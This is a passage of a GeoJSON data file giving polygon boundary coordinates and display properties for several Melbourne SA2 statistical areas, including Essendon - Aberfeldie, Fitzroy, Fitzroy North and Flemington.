,[144.9918213,-37.8755875],[144.9922333,-37.8762474],[144.992691,-37.8769989],[144.993103,-37.8776398],[144.9933014,-37.8779678],[144.9934998,-37.8782883],[144.9935913,-37.8784409],[144.9936523,-37.8785286],[144.9937439,-37.8786697],[144.9940338,-37.8791199],[144.9942932,-37.8795395],[144.9945221,-37.879879],[144.9946747,-37.8801384],[144.9949188,-37.8805389],[144.995224,-37.8810196],[144.9953918,-37.8812599],[144.9957581,-37.8818588],[144.9959412,-37.8821487],[144.9967346,-37.8834991],[144.996994,-37.8838081],[144.9963226,-37.88377],[144.9929199,-37.8833504],[144.9922638,-37.8832703],[144.9920807,-37.8842201],[144.9918976,-37.8852005],[144.9917908,-37.8857384],[144.9917603,-37.8859406],[144.9917145,-37.8861389],[144.9915314,-37.8871193],[144.9914246,-37.8876991],[144.9912109,-37.8887787],[144.9910889,-37.8894882],[144.9909515,-37.8901596],[144.99086,-37.8907089],[144.9907532,-37.8912086],[144.9906616,-37.8917274],[144.9863281,-37.8911705],[144.9852295,-37.8910294],[144.9849701,-37.8909988],[144.9849548,-37.8909378],[144.984848,-37.89077],[144.9847412,-37.8906097],[144.9846039,-37.8904572],[144.9844513,-37.8903389],[144.9843292,-37.8901787],[144.9842377,-37.8899879],[144.9841614,-37.8897972],[144.9840393,-37.8896408],[144.9839172,-37.8894806],[144.9837952,-37.889328],[144.9836578,-37.8891983],[144.9835205,-37.8890381],[144.9834137,-37.8888893],[144.9832611,-37.8887482],[144.983139,-37.8885994],[144.9828796,-37.8882904],[144.9828339,-37.8881989],[144.9827576,-37.8881378],[144.9826508,-37.8880692],[144.9823914,-37.8877907],[144.982254,-37.8876495],[144.9821167,-37.8875084],[144.9819794,-37.8873672],[144.9818268,-37.8872375],[144.9816895,-37.8871002],[144.9815674,-37.8869591],[144.9814301,-37.8868179],[144.9812927,-37.8866806],[144.9811401,-37.8865509],[144.9809875,-37.8864098],[144.980835,-37.8862801],[144.9806976,-37.8861504],[144.980545,-37.8860207],[144.980423,-37.8858795],[144.9802704,-37.8857384],[144.9801331,-37.8855972],[144.9799805,-37.8854675],[144.9798431,-37.8853302],[144.9796906,-37.8852005],[144.979538,-37.8850784],[144.9793854,-37.8849373],[144.9790802,-37.8846893],[144.9789124,-37.8845673],[144.9787598,-37.8844604],[144.9785614,-37.8843575],[144.9784088,-37.8842392],[144.9782562,-37.8841209],[144.9780731,-37.8840103],[144.9779205,-37.8838882],[144.9777679,-37.8837585],[144.9776001,-37.8836403],[144.9774323,-37.8835373],[144.9772644,-37.8834381],[144.9771729,-37.8833504],[144.9769897,-37.8832474],[144.9768066,-37.8831482],[144.9766846,-37.8830376],[144.9765778,-37.8829384],[144.9765167,-37.8829308],[144.9763794,-37.8829193],[144.9764709,-37.8828087],[144.9765472,-37.8827095],[144.9758148,-37.8822899],[144.975647,-37.8821182],[144.9756317,-37.8819275],[144.9757843,-37.8816185],[144.9758453,-37.8815384],[144.9758911,-37.8814774],[144.9759216,-37.8814278],[144.9759064,-37.8813171],[144.9758911,-37.8808975],[144.9758759,-37.8807602],[144.9758606,-37.8806],[144.9758301,-37.8804207],[144.9757996,-37.8802376],[144.9757843,-37.8800583],[144.9757538,-37.8797302],[144.9757385,-37.8795776],[144.9757233,-37.8794403],[144.975708,-37.8792801],[144.9757233,-37.8792381],[144.9757385,-37.8791275],[144.9757843,-37.8790779],[144.9758606,-37.8790207],[144.9771118,-37.8788986],[144.9773254,-37.8788795]]]}},{"type":"Feature","properties":{"SA2_NAME":"Essendon - Aberfeldie","polygonId":45,"SA3_NAME":"Essendon","AREASQKM":8.443,"fillColor":"#33628D","strokeColor":"#33628D","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.8911438,-37.74506],[144.8912659,-37.7443199],[144.891449,-37.7433472],[144.891449,-37.7431374],[144.8914642,-37.7428703],[144.8915558,-37.7421494],[144.8917999,-37.7405891],[144.891983,-37.7394295],[144.8920135,-37.7392693],[144.8920746,-37.7388992],[144.8921509,-37.7384605],[144.8922119,-37.737999],[144.8922424,-37.7378006],[144.8923035,-37.7374687],[144.8923187,-37.7373199],[144.8925018,-37.7373886],[144.8926239,-37.7366791],[144.8926697,-37.7363701],[144.8927917,-37.7355576],[144.8929291,-37.7345772],[144.8956146,-37.7348595],[144.8985901,-37.7351608],[144.9015656,-37.7354584],[144.9026642,-37.7355385],[144.9034424,-37.7355003],[144.9044189,-37.7353706],[144.90448,-37.7353592],[144.9048767,-37.73592],[144.9053955,-37.7368202],[144.9055786,-37.7371178],[144.9057312,-37.7373581],[144.9058685,-37.7375679],[144.9063416,-37.7383385],[144.9067993,-37.73909],[144.9073029,-37.7398605],[144.907959,-37.7409172],[144.9082031,-37.7413101],[144.9091949,-37.7414207],[144.9103088,-37.741539],[144.9130554,-37.7418404],[144.9138489,-37.7419205],[144.9144592,-37.7419891],[144.9155121,-37.7420998],[144.915863,-37.7421379],[144.9159393,-37.7421494],[144.9173126,-37.7422981],[144.9176025,-37.7423286],[144.9199371,-37.7425804],[144.9220428,-37.7428093],[144.9222107,-37.7428284],[144.9233398,-37.7429581],[144.9254303,-37.7431908],[144.9256287,-37.7432098],[144.9258423,-37.7432404],[144.9270935,-37.7433701],[144.9274902,-37.7434196],[144.9277496,-37.7434692],[144.9282227,-37.7434692],[144.92836,-37.7434692],[144.9288177,-37.7435379],[144.930542,-37.7437286],[144.9311829,-37.7437973],[144.9334717,-37.7440491],[144.9338531,-37.7445908],[144.9335175,-37.7446976],[144.9333649,-37.7447701],[144.9332428,-37.7448387],[144.9332123,-37.7448883],[144.9331818,-37.7449188],[144.9331512,-37.745018],[144.9331207,-37.7451096],[144.9331055,-37.7451897],[144.9330597,-37.7453079],[144.9329681,-37.7454109],[144.9328308,-37.7454605],[144.9326019,-37.7454605],[144.932312,-37.7454109],[144.9320068,-37.745369],[144.9318542,-37.7454185],[144.9317627,-37.7454376],[144.9315643,-37.7455177],[144.9311371,-37.7455482],[144.9307709,-37.7455406],[144.9303436,-37.7454987],[144.9296722,-37.745388],[144.9294128,-37.745369],[144.9291534,-37.7454185],[144.928772,-37.7455597],[144.9285431,-37.7457085],[144.9283905,-37.7458801],[144.9283752,-37.7459793],[144.92836,-37.746048],[144.9283447,-37.7462387],[144.9283295,-37.7463684],[144.9283295,-37.7464676],[144.9282837,-37.7466507],[144.9282837,-37.746788],[144.9282684,-37.7468987],[144.9282684,-37.7469902],[144.9282837,-37.7470703],[144.928299,-37.7471275],[144.92836,-37.7472],[144.9285126,-37.7472878],[144.9287109,-37.7473297],[144.9289703,-37.7473297],[144.9291229,-37.7473297],[144.929184,-37.7473907],[144.9291992,-37.7474709],[144.9291992,-37.7475471],[144.9291992,-37.7475891],[144.9291229,-37.7476692],[144.9290314,-37.7477379],[144.9289093,-37.7478485],[144.9287872,-37.7479706],[144.9287109,-37.7481003],[144.9286804,-37.7482109],[144.9286499,-37.7483101],[144.9286194,-37.7483978],[144.9285736,-37.7485008],[144.9285126,-37.7486076],[144.9284515,-37.7486992],[144.9283905,-37.7487907],[144.92836,-37.748848],[144.9282837,-37.7489281],[144.9281769,-37.74897],[144.9280396,-37.74897],[144.9278717,-37.74897],[144.9277191,-37.7489891],[144.9276276,-37.7490387],[144.9274902,-37.7491608],[144.9273987,-37.7492676],[144.9273529,-37.7494087],[144.9273071,-37.7495003],[144.9273529,-37.7495995],[144.9273987,-37.7496796],[144.9274292,-37.7497673],[144.9274597,-37.7498474],[144.927475,-37.7499809],[144.927475,-37.7501183],[144.927475,-37.7502174],[144.9274597,-37.7502785],[144.9274445,-37.7503204],[144.9273987,-37.7503891],[144.9273529,-37.7504692],[144.9273224,-37.7505302],[144.9272614,-37.7505989],[144.9272003,-37.7507172],[144.9271088,-37.7508583],[144.9270935,-37.7509384],[144.9270325,-37.750988],[144.9269867,-37.7510376],[144.9269409,-37.7510681],[144.9268494,-37.7511673],[144.9268188,-37.7512207],[144.9268036,-37.7512283],[144.9267731,-37.7512589],[144.9267273,-37.7513695],[144.926712,-37.7514572],[144.9267273,-37.7514877],[144.9267273,-37.7515182],[144.9267426,-37.7515678],[144.9267731,-37.7515984],[144.9268036,-37.7516403],[144.9268341,-37.7516975],[144.9268494,-37.7517281],[144.9268646,-37.75177],[144.9268799,-37.7517891],[144.9268799,-37.7518082],[144.9268799,-37.7518272],[144.9268951,-37.7518387],[144.9268951,-37.7518501],[144.9269714,-37.7519302],[144.9270325,-37.7519875],[144.9271088,-37.7520485],[144.9272156,-37.7521095],[144.9273376,-37.7521591],[144.9274597,-37.7521973],[144.9275818,-37.7522278],[144.9276886,-37.7522697],[144.9277496,-37.7523079],[144.9279327,-37.7524185],[144.9280396,-37.7524796],[144.9281464,-37.7525177],[144.928299,-37.7525902],[144.9283752,-37.7526093],[144.928421,-37.7526207],[144.9284515,-37.7526207],[144.9285278,-37.7525978],[144.9286041,-37.7525482],[144.9286804,-37.7524681],[144.9287415,-37.7523689],[144.9288025,-37.7522507],[144.9288788,-37.7520981],[144.9289246,-37.7520103],[144.9290009,-37.7519379],[144.9290771,-37.7519073],[144.9291534,-37.7518883],[144.9292908,-37.7519073],[144.9293518,-37.7519493],[144.9293976,-37.7519989],[144.9294434,-37.7521782],[144.9294586,-37.7522774],[144.9294739,-37.7523994],[144.9295197,-37.7525291],[144.9295502,-37.7526283],[144.9295502,-37.7526703],[144.9295807,-37.7527199],[144.929657,-37.7528381],[144.9297333,-37.7529488],[144.9297943,-37.7530289],[144.9298706,-37.7531281],[144.9299316,-37.7532272],[144.9300232,-37.7533302],[144.9301147,-37.753418],[144.930191,-37.7534981],[144.9303131,-37.7535782],[144.9304047,-37.7536278],[144.930542,-37.7536583],[144.9306335,-37.7536507],[144.9307098,-37.7536087],[144.9308014,-37.7535477],[144.9308777,-37.7535095],[144.9309387,-37.753479],[144.9309998,-37.7534409],[144.9310913,-37.7533798],[144.9311829,-37.7533493],[144.9312592,-37.7533188],[144.9313507,-37.7532997],[144.9314117,-37.7532883],[144.9314728,-37.7532806],[144.9315643,-37.7532578],[144.9316406,-37.7532501],[144.9317017,-37.7532387],[144.9317627,-37.7532196],[144.9318237,-37.7532005],[144.9319,-37.75317],[144.9320221,-37.7530708],[144.9321136,-37.7529602],[144.9321594,-37.7527885],[144.9322205,-37.7526779],[144.932312,-37.7526283],[144.932373,-37.7526207],[144.9324188,-37.7526093],[144.9324951,-37.7526207],[144.9325562,-37.7526474],[144.932663,-37.752758],[144.9328156,-37.7528801],[144.9330292,-37.7529907],[144.933197,-37.7530708],[144.9333801,-37.7531281],[144.9335632,-37.7531776],[144.9337463,-37.7532005],[144.9338837,-37.7532005],[144.934021,-37.7531891],[144.9342041,-37.7531509],[144.9343719,-37.7531204],[144.9345093,-37.753109],[144.9346008,-37.7531204],[144.9347229,-37.7531281],[144.9347992,-37.75317],[144.9348907,-37.7532272],[144.9349518,-37.7532883],[144.9350128,-37.7533798],[144.9350433,-37.7534676],[144.9349976,-37.7537003],[144.934967,-37.7539101],[144.9349518,-37.7539787],[144.9349365,-37.7540474],[144.9348907,-37.7541199],[144.9348602,-37.7541885],[144.9348145,-37.7542572],[144.9347534,-37.7543182],[144.9346771,-37.7543793],[144.9346161,-37.7544174],[144.9344788,-37.754509],[144.9344177,-37.7545395],[144.9338684,-37.7547989],[144.9337006,-37.7549095],[144.93367,-37.7549591],[144.9336395,-37.7550087],[144.933609,-37.7550697],[144.933609,-37.7551384],[144.933609,-37.7552109],[144.9336243,-37.755249],[144.93367,-37.7553291],[144.9337311,-37.7553902],[144.9337921,-37.7554474],[144.9339142,-37.7555695],[144.934021,-37.7556572],[144.9341278,-37.7557602],[144.9342041,-37.7558594],[144.9342957,-37.7559891],[144.9343719,-37.7560997],[144.934433,-37.7561989],[144.9344635,-37.7562904],[144.9345093,-37.7564087],[144.9345703,-37.756588],[144.9345703,-37.7566299],[144.9345703,-37.7566681],[144.9345703,-37.7567101],[144.9345551,-37.7567978],[144.9345245,-37.7568398],[144.934494,-37.7568779],[144.9344482,-37.7569199],[144.9344177,-37.7569389],[144.9337921,-37.7572899],[144.9337311,-37.757328],[144.933609,-37.7574272],[144.9335785,-37.7574692],[144.9335327,-37.7575378],[144.9335022,-37.7575989],[144.9334717,-37.7576485],[144.9334564,-37.7577095],[144.9334412,-37.7577591],[144.9334412,-37.7578087],[144.9334564,-37.7579575],[144.9334412,-37.7580376],[144.9334259,-37.7580986],[144.9334106,-37.7581482],[144.9333801,-37.7582092],[144.9333496,-37.7582474],[144.9333191,-37.7583008],[144.9332428,-37.7583389],[144.9330597,-37.7584877],[144.9330292,-37.7585373],[144.9329987,-37.7585907],[144.9329681,-37.7586479],[144.9329529,-37.7587204],[144.9329681,-37.7587776],[144.9329834,-37.7588577],[144.9330139,-37.7588882],[144.9331665,-37.7590179],[144.933609,-37.7592773],[144.9338074,-37.759388],[144.932663,-37.7592506],[144.9320526,-37.7591782],[144.9321289,-37.758728],[144.9298248,-37.7584801],[144.9287415,-37.758358],[144.9276123,-37.7582397],[144.9264526,-37.75811],[144.9264526,-37.7580681],[144.9252014,-37.7579384],[144.9244232,-37.7578506],[144.9236908,-37.7577705],[144.9229126,-37.757679],[144.9226074,-37.7576485],[144.9211884,-37.7574883],[144.9200439,-37.75737],[144.9198151,-37.7573395],[144.9192657,-37.7572784],[144.9189911,-37.7572479],[144.9186859,-37.7572174],[144.9170532,-37.7570305],[144.9169617,-37.757019],[144.9164734,-37.756958],[144.9162445,-37.7569275],[144.9162903,-37.7584877],[144.9162903,-37.7584991],[144.9162903,-37.7585106],[144.9162903,-37.7585907],[144.9162903,-37.7585983],[144.9162903,-37.7586288],[144.9162903,-37.7586403],[144.9162903,-37.7586594],[144.9162903,-37.7586708],[144.9163055,-37.7587509],[144.9163208,-37.7588387],[144.9163208,-37.7589073],[144.9163361,-37.7589684],[144.9163361,-37.7589798],[144.9163361,-37.7589874],[144.9163361,-37.7590179],[144.9163361,-37.7590294],[144.9163513,-37.7590675],[144.9163513,-37.759079],[144.9163513,-37.75914],[144.9163513,-37.7591705],[144.9163513,-37.7591896],[144.9163666,-37.7591972],[144.9163666,-37.7592201],[144.9163666,-37.7592278],[144.9163666,-37.7592583],[144.9163818,-37.7592697],[144.9163818,-37.7593079],[144.9163818,-37.7593498],[144.9163818,-37.7593803],[144.9163971,-37.7594109],[144.9163971,-37.7594299],[144.9163971,-37.7594376],[144.9164124,-37.7594795],[144.9164124,-37.7594986],[144.9164124,-37.7595291],[144.9164124,-37.7595596],[144.9164276,-37.7595673],[144.9164276,-37.7596092],[144.9164429,-37.7596588],[144.9164429,-37.7596893],[144.9164429,-37.7597084],[144.9164429,-37.7597389],[144.9164581,-37.7597389],[144.9164734,-37.7597885],[144.9164734,-37.7598076],[144.9164734,-37.7598495],[144.9164734,-37.7598572],[144.9164886,-37.7598877],[144.9165039,-37.7599678],[144.9165039,-37.7599792],[144.9165192,-37.7600479],[144.9165192,-37.7600899],[144.9165192,-37.7601204],[144.9165344,-37.760128],[144.9165344,-37.7601585],[144.9165497,-37.7601776],[144.9165497,-37.7601891],[144.9165649,-37.7602692],[144.9165649,-37.7602692],[144.9165802,-37.7602882],[144.9165802,-37.7603073],[144.9165802,-37.7603378],[144.9165802,-37.7603493],[144.9165802,-37.7603607],[144.9165955,-37.7603989],[144.9165955,-37.7604103],[144.9166107,-37.7604179],[144.9166107,-37.7604675],[144.9166107,-37.760479],[144.9166107,-37.7604904],[144.9166412,-37.7605476],[144.9166412,-37.7605591],[144.9166565,-37.7605972],[144.9166565,-37.7606201],[144.9166718,-37.7606583],[144.9166718,-37.7607002],[144.9166718,-37.7607079],[144.916687,-37.7607079],[144.916687,-37.7607193],[144.9160614,-37.7606583],[144.9160309,-37.7607689],[144.9159698,-37.7611275],[144.9158173,-37.7611084],[144.915863,-37.7609482],[144.9155884,-37.7608986],[144.9155731,-37.7609482],[144.9153595,-37.7609177],[144.9153442,-37.7609482],[144.9151306,-37.7609177],[144.9151154,-37.7609787],[144.9148407,-37.7609482],[144.9148712,-37.7607803],[144.9146423,-37.7607498],[144.9145813,-37.7610207],[144.9143219,-37.7609978],[144.9143219,-37.7610283],[144.9139709,-37.7609901],[144.9140015,-37.7608871],[144.9132996,-37.7608109],[144.9133148,-37.7606697],[144.9132538,-37.7606697],[144.9132233,-37.7606277],[144.9116364,-37.7604294],[144.9115906,-37.7606583],[144.9109955,-37.7605782],[144.9109192,-37.7605705],[144.9104309,-37.7605209],[144.9103851,-37.7605095],[144.910202,-37.760479],[144.9100494,-37.7604675],[144.9098206,-37.7604408],[144.90979,-37.7605705],[144.9097137,-37.7605591],[144.909256,-37.7605209],[144.9091797,-37.7608795],[144.9086304,-37.7608185],[144.9075317,-37.7607079],[144.9075317,-37.7606201],[144.9075928,-37.7603607],[144.9072571,-37.7603188],[144.9072723,-37.7601776],[144.907074,-37.7601509],[144.9069824,-37.7606506],[144.9064026,-37.7605896],[144.9052429,-37.7604599],[144.905304,-37.7601204],[144.9047394,-37.7600479],[144.9047089,-37.7600098],[144.9047394,-37.7598686],[144.9044495,-37.7598305],[144.9043884,-37.7600098],[144.9038086,-37.7599373],[144.9037323,-37.7603378],[144.9049988,-37.7616997],[144.9048309,-37.7625885],[144.9033203,-37.7623978],[144.9032288,-37.7629395],[144.9035339,-37.7629776],[144.9037933,-37.7630196],[144.9037628,-37.7631302],[144.9039612,-37.7633781],[144.9039307,-37.7635803],[144.9037933,-37.7635574],[144.9036255,-37.7644806],[144.9035492,-37.7648773],[144.9021912,-37.7647285],[144.9015656,-37.7653885],[144.9014282,-37.7652893],[144.9011993,-37.7651672],[144.9008636,-37.7650108],[144.9004517,-37.7648582],[144.9000092,-37.7647285],[144.8995209,-37.7646484],[144.8991394,-37.7646294],[144.8986359,-37.7646408],[144.8981628,-37.7646484],[144.8974915,-37.7647095],[144.8969879,-37.7647972],[144.896286,-37.7649689],[144.895752,-37.7651482],[144.895462,-37.7653198],[144.8951263,-37.7655182],[144.8947601,-37.7656784],[144.8943939,-37.7657585],[144.8940887,-37.765789],[144.8937073,-37.7657394],[144.8934174,-37.7656403],[144.8931122,-37.76548],[144.8928528,-37.7653198],[144.8925934,-37.765049],[144.892395,-37.7647095],[144.8917999,-37.7641182],[144.8914795,-37.7638397],[144.8912354,-37.7636604],[144.8910522,-37.7635193],[144.8905945,-37.7631302],[144.8901672,-37.7626991],[144.88974,-37.76231],[144.8894806,-37.7620888],[144.8891754,-37.7619591],[144.8889313,-37.761898],[144.8890686,-37.7611275],[144.8891602,-37.7611809],[144.8891907,-37.7610893],[144.889267,-37.7606277],[144.8895111,-37.7592583],[144.8896027,-37.75877],[144.8899078,-37.757],[144.8899536,-37.7567101],[144.8896332,-37.756649],[144.8896179,-37.7566376],[144.8895721,-37.7566185],[144.8895111,-37.756588],[144.8894806,-37.7565575],[144.8894653,-37.7565308],[144.8894348,-37.7564774],[144.889328,-37.7562103],[144.8891144,-37.7556877],[144.8890991,-37.7556305],[144.8890839,-37.7555504],[144.8890686,-37.7554474],[144.8890839,-37.7553482],[144.8892822,-37.754158],[144.8892975,-37.7541275],[144.8893127,-37.7541008],[144.8894653,-37.7539291],[144.8895874,-37.7532806],[144.8896332,-37.7530174],[144.889801,-37.75214],[144.8899841,-37.7511787],[144.8904266,-37.7488899],[144.8904877,-37.748539],[144.8906708,-37.7475395],[144.8908234,-37.7467995],[144.8909454,-37.7460976],[144.8911133,-37.7452202],[144.8911438,-37.74506]]]}},{"type":"Feature","properties":{"SA2_NAME":"Fitzroy","polygonId":73,"SA3_NAME":"Yarra","AREASQKM":1.378,"fillColor":"#32658E","strokeColor":"#32658E","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9750061,-37.7971573],[144.9750671,-37.7967796],[144.9751434,-37.79636],[144.9752808,-37.7955589],[144.9753113,-37.7954178],[144.9753723,-37.7949791],[144.9754333,-37.7946701],[144.9754791,-37.7943497],[144.9755402,-37.7940292],[144.9756012,-37.7937202],[144.9756012,-37.7936592],[144.975708,-37.7930374],[144.9758606,-37.7931976],[144.9762726,-37.7932396],[144.9763031,-37.7932396],[144.9767609,-37.7932892],[144.9768829,-37.7933006],[144.9772644,-37.7933388],[144.9773254,-37.7933502],[144.9775543,-37.7933693],[144.9776459,-37.7933807],[144.9777222,-37.7933884],[144.9781189,-37.7934303],[144.978241,-37.7934494],[144.9786987,-37.7934875],[144.9791412,-37.7935371],[144.9792633,-37.7935486],[144.9793854,-37.7935677],[144.9798126,-37.7936096],[144.9799652,-37.7936287],[144.9800262,-37.7936287],[144.9801788,-37.7936478],[144.9802399,-37.7936592],[144.9803009,-37.7936592],[144.9804535,-37.7936783],[144.9805145,-37.7936897],[144.9813995,-37.7937775],[144.9816284,-37.793808],[144.9825745,-37.7939072],[144.9826813,-37.7939072],[144.9828033,-37.7939186],[144.983902,-37.7940407],[144.9849701,-37.7941475],[144.9850922,-37.7941589],[144.9848938,-37.7953377],[144.9847717,-37.7959709],[144.9847412,-37.7961807],[144.9846802,-37.7965698],[144.9846191,-37.7968788],[144.9845428,-37.7973595],[144.9845123,-37.7975502],[144.9843903,-37.7981606],[144.9843903,-37.7982483],[144.9842682,-37.7989502],[144.9841156,-37.7998276],[144.9840088,-37.8004303],[144.983963,-37.8006897],[144.9838715,-37.8012199],[144.9837799,-37.8017502],[144.9837341,-37.8020096],[144.9837036,-37.8021774],[144.9835968,-37.8027992],[144.9835205,-37.8032684],[144.98349,-37.8034477],[144.9833679,-37.8041382],[144.9832306,-37.8049698],[144.9829865,-37.8063698],[144.9829102,-37.8067703],[144.9827423,-37.8078308],[144.9825439,-37.808918],[144.9820404,-37.8088608],[144.9813538,-37.8087883],[144.9811401,-37.8087692],[144.9801636,-37.8086586],[144.9790039,-37.8085403],[144.9785614,-37.8084908],[144.97789,-37.8084183],[144.9767761,-37.8083],[144.9761963,-37.808239],[144.9758606,-37.8082008],[144.9756927,-37.8081779],[144.9747162,-37.8080788],[144.9740295,-37.8080101],[144.973175,-37.8079185],[144.9733734,-37.8067589],[144.9735565,-37.8057289],[144.9736023,-37.805378],[144.9738312,-37.8041077],[144.973999,-37.8031197],[144.9740601,-37.8026886],[144.9743195,-37.8012199],[144.974411,-37.8006706],[144.9744415,-37.800518],[144.9745331,-37.7999573],[144.9746094,-37.799469],[144.9747467,-37.7986908],[144.9747467,-37.7986374],[144.9748688,-37.7979507],[144.9750061,-37.7971573]]]}},{"type":"Feature","properties":{"SA2_NAME":"Fitzroy North","polygonId":74,"SA3_NAME":"Yarra","AREASQKM":2.5051,"fillColor":"#32658E","strokeColor":"#32658E","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9781036,-37.7801971],[144.9781189,-37.7800674],[144.9781494,-37.7798691],[144.9781952,-37.7795906],[144.9782104,-37.7794991],[144.9782104,-37.7794075],[144.9782104,-37.7792282],[144.978241,-37.779068],[144.9784088,-37.7780609],[144.9785614,-37.7772179],[144.978714,-37.7762489],[144.9788513,-37.7754478],[144.9788818,-37.7752991],[144.9789429,-37.7748985],[144.9790039,-37.774559],[144.979187,-37.7734909],[144.9797211,-37.7735481],[144.9803925,-37.7736206],[144.9806824,-37.7736473],[144.9808655,-37.7736702],[144.9811096,-37.7737007],[144.9815063,-37.7737389],[144.9816284,-37.7737503],[144.9824524,-37.773838],[144.9833984,-37.7739372],[144.9833832,-37.7740898],[144.9851837,-37.7743073],[144.9857635,-37.7743797],[144.9858398,-37.7743378],[144.9866028,-37.7744293],[144.9867096,-37.7743492],[144.9868622,-37.7743683],[144.9870911,-37.7746582],[144.9872437,-37.7747498],[144.9873657,-37.7748604],[144.9875793,-37.7749176],[144.9879608,-37.77491],[144.9882355,-37.774929],[144.9885101,-37.7750778],[144.9885864,-37.7751579],[144.9886627,-37.7753372],[144.9886322,-37.7757072],[144.9885559,-37.7758598],[144.9884796,-37.7760582],[144.9884796,-37.7762184],[144.9885101,-37.7763977],[144.9885712,-37.7765503],[144.9886932,-37.7767906],[144.9888,-37.7769203],[144.9890594,-37.7771072],[144.9891052,-37.7771492],[144.989212,-37.7772408],[144.9893951,-37.7773781],[144.9894562,-37.7774696],[144.9895172,-37.7775383],[144.9896393,-37.777729],[144.9897308,-37.7778702],[144.9897614,-37.7779694],[144.9898224,-37.7781601],[144.9898529,-37.7782898],[144.9898529,-37.778389],[144.9898529,-37.7784195],[144.9898834,-37.7785301],[144.9899139,-37.7790375],[144.9899292,-37.7792587],[144.9899597,-37.7793274],[144.9900208,-37.7795296],[144.990097,-37.7796478],[144.9903564,-37.7798386],[144.9906616,-37.7799377],[144.9908447,-37.7799683],[144.9912109,-37.7800179],[144.9914398,-37.7800484],[144.9917145,-37.7801208],[144.9917603,-37.7801476],[144.9918671,-37.7802391],[144.9919891,-37.780468],[144.9919891,-37.780529],[144.9919739,-37.7807007],[144.9918823,-37.7809486],[144.9918213,-37.7810593],[144.991806,-37.7812195],[144.9918365,-37.7815781],[144.9919586,-37.7820091],[144.9919586,-37.7823486],[144.9920044,-37.7825279],[144.9921112,-37.7826309],[144.9922333,-37.7826805],[144.9923706,-37.7827301],[144.9925842,-37.7828484],[144.9931793,-37.7830086],[144.9933014,-37.7830505],[144.9936829,-37.7832298],[144.9941711,-37.7835274],[144.9945526,-37.7838593],[144.994751,-37.7840004],[144.9952393,-37.7844505],[144.9955902,-37.7846909],[144.9951019,-37.7851486],[144.9951782,-37.7852287],[144.9954681,-37.7856293],[144.9956207,-37.7859993],[144.9957123,-37.7865486],[144.9956665,-37.7868385],[144.995636,-37.7869873],[144.9952698,-37.7871208],[144.9950562,-37.7871399],[144.9947205,-37.7872276],[144.9922791,-37.7880287],[144.9920502,-37.7881088],[144.9919739,-37.7881775],[144.99086,-37.7886391],[144.9889984,-37.7894173],[144.9876404,-37.789978],[144.9872437,-37.7901497],[144.9868011,-37.7903404],[144.9864197,-37.7904892],[144.985672,-37.7907982],[144.9854584,-37.7920074],[144.9853821,-37.7924004],[144.9851837,-37.7936172],[144.9850922,-37.7941589],[144.9849701,-37.7941475],[144.983902,-37.7940407],[144.9828033,-37.7939186],[144.9826813,-37.7939072],[144.9825745,-37.7939072],[144.9816284,-37.793808],[144.9813995,-37.7937775],[144.9805145,-37.7936897],[144.9804535,-37.7936783],[144.9803009,-37.7936592],[144.9802399,-37.7936592],[144.9801788,-37.7936478],[144.9800262,-37.7936287],[144.9799652,-37.7936287],[144.9798126,-37.7936096],[144.9793854,-37.7935677],[144.9792633,-37.7935486],[144.9791412,-37.7935371],[144.9786987,-37.7934875],[144.978241,-37.7934494],[144.9781189,-37.7934303],[144.9777222,-37.7933884],[144.9776459,-37.7933807],[144.9775543,-37.7933693],[144.9773254,-37.7933502],[144.9772644,-37.7933388],[144.9768829,-37.7933006],[144.9767609,-37.7932892],[144.9763031,-37.7932396],[144.9762726,-37.7932396],[144.9758606,-37.7931976],[144.975708,-37.7930374],[144.9757385,-37.7929077],[144.975769,-37.7927284],[144.9759674,-37.7916489],[144.9762421,-37.7902298],[144.9763336,-37.7897072],[144.9764099,-37.789299],[144.9765015,-37.7887878],[144.9766388,-37.7880783],[144.9767303,-37.7876472],[144.9768829,-37.7868309],[144.9769287,-37.7865181],[144.9770203,-37.7860794],[144.9770355,-37.7859688],[144.9772034,-37.7851486],[144.9774628,-37.7837105],[144.9775696,-37.7830772],[144.9776459,-37.7826385],[144.9777374,-37.7821884],[144.9778595,-37.7814674],[144.9778748,-37.7814178],[144.9779358,-37.7810898],[144.9781036,-37.7801971]]]}},{"type":"Feature","properties":{"SA2_NAME":"Flemington","polygonId":46,"SA3_NAME":"Essendon","AREASQKM":1.5808,"fillColor":"#32658E","strokeColor":"#32658E","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9220276,-37.7837105],[144.9221497,-37.7829704],[144.9221802,-37.7827492],[144.922226,-37.7825089],[144.9222717,-37.7822495],[144.9223633,-37.7816582],[144.9224091,-37.7813492],[144.9225006,-37.78088],[144.9225922,-37.7803497],[144.9229584,-37.7803879],[144.9230347,-37.7803993],[144.9231873,-37.7804108],[144.9232788,-37.7804184],[144.9232788,-37.7803879],[144.9233551,-37.7803993],[144.9232941,-37.7807198],[144.9237518,-37.7807693],[144.9238434,-37.7807693],[144.9244537,-37.7808304],[144.9244995,-37.7804909],[144.9251099,-37.7805481],[144.9251709,-37.7801971],[144.9261322,-37.7802887],[144.9264221,-37.7803192],[144.9265289,-37.7804604],[144.9265289,-37.7804604],[144.9265442,-37.7804794],[144.9265442,-37.7804794],[144.9265594,-37.7804985],[144.9265594,-37.7805099],[144.92659,-37.780529],[144.92659,-37.7805405],[144.9266052,-37.7805595],[144.9266205,-37.7805672],[144.9266205,-37.7805786],[144.9266357,-37.7805977],[144.9266663,-37.7806396],[144.9266815,-37.7806587],[144.9266968,-37.7806778],[144.9267731,-37.7806702],[144.927063,-37.7806091],[144.9275818,-37.7810898],[144.927597,-37.7809486],[144.9278107,-37.7809792],[144.9278717,-37.7809792],[144.9279938,-37.7809982],[144.9282532,-37.7810173],[144.9282532,-37.7810898],[144.928299,-37.7811089],[144.9283295,-37.7809601],[144.9284058,-37.7809677],[144.928421,-37.7808495],[144.9284973,-37.7808609],[144.9288483,-37.7808876],[144.9289551,-37.7809105],[144.9290771,-37.7809296],[144.9292755,-37.7809486],[144.9293518,-37.7809601],[144.9293365,-37.7810593],[144.9295654,-37.7810783],[144.9295502,-37.7811394],[144.9296875,-37.7811508],[144.9296722,-37.7811775],[144.9296417,-37.7814484],[144.9297638,-37.7814598],[144.930191,-37.7815094],[144.9303894,-37.7815285],[144.9304504,-37.7812576],[144.930481,-37.7810593],[144.9307404,-37.7810783],[144.9307404,-37.7811279],[144.9307709,-37.7812996],[144.931015,-37.7813187],[144.9310303